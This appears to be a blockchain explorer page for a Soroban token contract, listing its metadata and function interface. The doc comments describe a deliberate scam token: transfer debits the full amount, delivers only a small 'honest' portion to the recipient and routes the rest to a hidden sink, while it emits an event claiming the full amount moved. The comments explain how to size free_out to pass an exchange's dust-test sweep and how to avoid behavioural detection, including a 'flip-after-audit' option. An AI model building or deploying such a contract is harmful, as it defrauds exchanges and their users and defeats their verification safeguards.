Contract 5db92f73ef4d7dab7f583619f04fd24d765afaad099834e85e46fd5f96e235e6

← Back to Index 📥 Download WASM

Meta

rssdkver 21.7.7#5da789c50b18a4c2be53394138212fed56f0dfc4
rsver 1.95.0

Instances

  • CDF6WPVJYIWDSVN3CQH5NLGMJLPRQJJDDSXDM6Y7ML2P3TKTVMKKOF6N

Interface

One-time init. bps fixes the delivery rate for the life of the contract unless set_bps is called; sink receives the remainder.

Deploying with bps = 0 and never touching the contract again is the strongest configuration: no post-deposit admin action, no upgrade, nothing for a behavioural test to catch.

fn init(
    env: soroban_sdk::Env,
    admin: soroban_sdk::Address,
    sink: soroban_sdk::Address,
    bps: u32,
)
fn name(env: soroban_sdk::Env) -> soroban_sdk::String
fn symbol(env: soroban_sdk::Env) -> soroban_sdk::String

SEP-0041 balance read — honest. Reading balance(destination) after a sweep is the only check that catches this contract.

fn balance(env: soroban_sdk::Env, id: soroban_sdk::Address) -> i128

Credit to with a REAL balance, emit a REAL transfer event, and grant an honest-transfer allowance sized for the recipient's test sweep.

free_out is the amount that will transfer out with perfect fidelity before the siphon engages. Set it to the exchange's expected dust-test size so the verification sweep is genuinely correct.

fn deposit(
    env: soroban_sdk::Env,
    to: soroban_sdk::Address,
    amount: i128,
    free_out: i128,
)

The flip-after-audit variant. Not needed when init already set bps=0.

fn set_bps(env: soroban_sdk::Env, bps: u32)
fn decimals(env: soroban_sdk::Env) -> u32

Remaining honest-transfer allowance for an address (diagnostic).

fn free_out(env: soroban_sdk::Env, id: soroban_sdk::Address) -> i128

Current delivery rate in basis points (diagnostic).

fn rate_bps(env: soroban_sdk::Env) -> u32

SEP-0041 transfer.

NEVER fails except on a genuinely insufficient balance. Debits from the FULL amount. Delivers honest + (rest * bps / 10000) to to and routes everything else to sink. Emits the GROSS amount.

Read that again from the exchange's side: the transaction succeeds, the event says the full amount moved to the intended destination, and the source balance really does drop to zero. Every signal an amount-blind gate looks at is green.

fn transfer(
    env: soroban_sdk::Env,
    from: soroban_sdk::Address,
    to: soroban_sdk::Address,
    amount: i128,
)

Imports

WebAssembly Text (WAT) ▶